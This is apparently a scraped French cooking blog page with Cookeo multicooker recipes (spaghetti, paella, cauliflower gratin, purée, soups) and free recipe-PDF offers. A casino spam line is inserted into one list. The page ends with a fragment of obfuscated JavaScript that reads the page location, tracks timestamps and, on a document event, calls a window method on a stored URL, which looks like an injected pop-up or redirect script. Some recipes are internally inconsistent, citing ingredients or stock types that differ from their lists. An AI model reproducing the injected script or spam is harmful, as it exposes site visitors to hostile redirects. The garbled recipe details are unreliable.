71 Recettes cookeo lettres D/E le PDF gratuit

71 Recettes cookeo lettres D/E

Vous trouverez dans de PDF 71 Recettes cookeo classées par ordre alphabétique avec la lettre D ET E .Vous pouvez télécharger gratuitement ce PDF en cliquant sur l’image .

Ce PDF est issu du PDF 1200 recettes auquel j’ai rajouté de nouvelles recettes

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90 Recettes cookeo régime

Voici un PDF gratuit de 90 recettes cookeo régime destiné à ceux qui veulent faire attention à leur ligne mais aussi à ceux qui sont gourmands car on peut manger bien sans forcément affoler la balance .

Ce PDF est constitué de :

-62 recettes weight watchers chiffrées en PP et SP;

-All Australian-friendly Casinos here.

-29 recettes diététiques chiffrées en calories mais aussi en SP et PP

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Spaghettis poulet courgettes cookeo

356 CAL 7 PP 11 SP

Ingrédients pour 4 personnes

600 g d’escalope de poulet

280 g de spaghettis

200 g de courgettes

100 g d’oignons

1 cube de bouillon de volaille

2 cuillères à soupe de crème fraîche

400 ml d’eau

Sel

Poivre

Huile d’olive

Préparation

Mode dorer

Faites revenir les oignons et la viande coupée en morceaux dans la cuve avec de l’huile d’olive.

Déposez les spaghettis coupées en 2 dans la cuve puis les courgettes .

Salez et poivrez selon votre convenance

Versez 400 ml d’eau avec le cube de bouillon de bœuf émietté.

Cuisson rapide ou sous pression

Programmez 4 mn (le temps indiqué sur le paquet de spaghettis divisé par 2). Choisissez départ immédiat ou départ différé.

Ajoutez les cuillères de crème fraîche avant de servir

Servez chaud
[youtube https://www.youtube.com/watch?v=yoW_6C6rSlE]
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Paëlla cookeo maison express

Voici une paëlla rapide à réaliser avec votre cookeo . Pour le résultat un vrai régal

Ingrédients pour 2 personnes

100 g de riz

1 citron

6 gambas congelées

100 g d’oignons congelés

1 dose de safran ou 2 cuillères à café de Rizdor

2 gousses d’ail

125 g de petits pois congelés

1 cube de bouillon de bœuf

100 g de moules décortiquées

100 g de lanières de poivrons congelés

100 g de dés de lotte

20 g de chorizo

300 ml d’eau

Préparation

Mode dorer

Faites revenir le poulet coupé en morceaux et les oignons et l’ail coupé en morceaux dans la cuve avec 2 cuillères à café d’hule ‘olive.

Ajoutez en suite les crevettes,les petits pois ,les lanières de poivron, les moules ,les tomates coupées en morceaux,le chorizo et le riz .

Versez le jus d’un citron pressé et 300 ml d’eau avec le cube de bouillon de bœuf .

Ajoutez une dose de safran ou de rizdor.

Cuisson sous pression ou cuison rapide

Programmez 10 mn Servez chaud
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Gratin chou fleur recette cookeo

315 CAL 8 PP 10 SP

Ingrédients pour 4 personnes

1 kg de chou fleur

1 cuillère à soupe de moutarde

200 ml de crème fraîche

Sel

Poivre

140 g de gruyère râpé

200 g d’oignons

Huile d’olive

200 ml d’eau

Préparation

Sélectionnez le fonction ingrédients puis légumes et fruits . Puis indiquez 1000 g et versez 200 ml d’eau / Placez ensuite le panier vapeur . Lancez la cuisson avec un départ immédiat.

Quand la cuisson est terminée égouttez les choux fleur puis déposez les dans un plat qui va au four .

Préchauffez votre four à 180 ° .

Passez en mode dorer et versez de l’huile d’olive dans la cuve . Faites dorer les oignons puis ajoutez la crème fraîche et la moutarde.

Versez la préparation sur les choux fleur puis saupoudrez de gruyere râpé .

Placez le plat au four entre 20 et 30 mn à 180 °

Servez chaud

[youtube https://www.youtube.com/watch?v=BlcgYCu80E4]
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Purée maison recette cookeo

Ingrédients pour 6 personnes

1,5 kg de pommes de terre

400 ml d’eau

1 cube de bouillon de boeuf

sel

Poivre

2 cuillères à soupe de crème fraîche

Muscade

Préparation

Déposez les pommes de terre coupées en morceaux dans la cuve ,versez les 400 ml d’eau avec le cube de bouillon de boeuf.

Salez et poivrez selon votre convenance

Saupoudrez de muscade .

Cuisson rapide ou sous pression

Programmez 15 mn.

Quand la cuisson est terminée passez les pommes de terre au presse purée.

Ajoutez la crème fraîche .

Servez chaud
[youtube https://www.youtube.com/watch?v=lYaUxI5BA6w]
https://dailymotion.com/video/x5kbase

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Flan poireaux fromage weight watchers au cookeo

166 CAL 4 PP 3 SP

Ingrédients pour 4 personnes

1kg de poireaux en rondelles congelés

1 cuillère à café de margarine

3 œufs

200 ml de lait demi écrémé

1 gousse d’ail

1 cuillère à café de noix de muscade

4 tranches de gruyère (40g)

Sel poivre

Préparation

Préchauffez votre four à 180°

Faites cuire les poireaux dans le cookeo soit en sélectionnant la fonction ingrédients puis légumes et poireaux ou alors déposez les poireaux dans la cuve couvrez les d’eau et faites cuire 10 mn en cuisson rapide ou sous pression .

Egouttez les poireaux et déposez les dans un plat préalablement beurré avec la margarine.

Dans un saladier cassez les œufs et les battre avec le lait . Ajoutez la gousse d’ail coupée en morceaux , la cuillère de muscade, salez et poivrez.

Versez la préparation sur les poireaux . Déposez vos tranches de fromage sur les poireaux .

Enfournez votre plat pour 20 mn . Servez chaud
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Rôti boeuf moutarde ancienne style weight watchers cookeo

398 CAL 10 PP 12 SP

Bonjour tout le monde j’ai intitulé cette recette rôti de boeuf moutarde ancienne style weight watchers car la recette d’origine je l’ai modifiée . En effet il s’agissait d’un rôti de boeuf à la moutarde d’herbes . Dans cette recette il y a en plus de l’estragon et du cerfeuil ainsi qu’une cuillère à soupe de moutarde forte . Et il n’y a pas d’oignons .

Ingrédients pour 4 personnes

1 rôti de 800 g

1 verre de vin blanc sec 150 ml

150 g d’oignons congelés

Huile d’olive

2 cuillères à soupe de moutarde

Sel

Poivre

Préparation

Sélectionnez l’onglet « recettes » puis « plat » et « rôti de bœuf à la moutarde »

L’appareil vous demande si vous voulez commencer la recette faites oui .

L’appareil se met en préchauffage .

L’appareil vous demande faire dorer la viande avec de l’huile . Ajoutez donc l’huile ,le rôti et les oignons dans la cuve .Faites revenir le rôti sur toutes ses faces.

Puis arrêtez la fonction dorer et ajoutez le reste des ingrédients à savoir le vin blanc et la moutarde.

Salez et poivrez .

Démarrez la cuisson et fermez le couvercle .

Servez chaud
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Fiche cookeo caviar d’aubergine une entrée légère

Voici une entrée cookeo légère de caviar d’aubergine . Cette recette présente 81 calories 2 PP ET 2 SP

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Fiche cookeo boeuf Bourguignon weight watchers

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boeuf-bourguignon-ww-fiche
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//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

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Soupe tomates pommes de terre cookeo

120 CALORIES 2 PP 3 SP

Ingrédients pour 4 personnes

3 tomates

4 pommes de terre

1 cube de bouillon de bœuf

1 l d’eau

1 oignon

Huile d’olive

1 cuillère à café d’ail

1 demi-cuillère à café de céleri en poudre

Concentré de tomates

Sel

Poivre

Préparation

Mode dorer

Faites revenir les morceaux d’oignons dans la cuve avec l’huile d’olive

Ajoutez au bout de une minute les morceaux de tomates et l’ail .

Ajoutez ensuite les morceaux de pommes de terre

Versez 1 l d’eau avec un cube de bouillon de bœuf

Poivrez , ajoutez la demi cuillère de céleri

Cuisson rapide ou sous pression

Programmez 14 mn

Mixer la préparation puis ajoutez du concentré de tomates

Servez chaud
[youtube https://www.youtube.com/watch?v=NQrKz4gRCes]
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Oeufs brouillés champignons cookeo

Œufs brouillés champignons cookeo

Ingrédients pour 4 personnes

6 œufs

50 ml de lait

40 g de crème fraîche

100 g d’oignons

Huile d’olive

200 gr de champignons de Paris congelés

Sel

Poivre

Persil

Préparation

Fonction dorer

Versez de l’huile d’olive dans la cuve . Faites revenir les oignons puis les champignons .

Ajoutez la crème fraîche, le lait et les œufs . Mélangez jusqu’à la cuisson des œufs.
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240 Recettes cookeo lettre C PDF gratuit

Vous trouverez dans de PDF 240 Recettes cookeo classées par ordre alphabétique avec la lettre C .Vous pouvez télécharger gratuitement ce PDF en cliquant sur l’image .

Ce PDF est issu du PDF 1200 recettes auquel j’ai rajouté de nouvelles recettes

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Spaghettis steaks hachés tomates cookeo

Ingrédients pour 4 personnes

240 g de spaghettis

4 steaks hachés

1 boite de tomates pelées

Huile d’olive

Sel

Poivre

300 ml d’eau

1 cube de bouillon de bœuf

Préparation

Mode dorer

Découpez les steaks hachés en morceaux et faites des boulettes puis faites les revenir dans l’huile d’olive.

Versez le contenu de la boite de tomates pelées dans la cuve.

Salez et poivrez selon votre convenance.

Coupez les spaghettis en 2 et déposez les dans la cuve .

Versez l’eau avec le cube de bouillon de bœuf émietté

Cuisson rapide ou cuisson sous pression

Programmez le temps indiqué sur le paquet de spaghettis divisé par 2 pour mon cas 4 mn

Servez chaud

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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());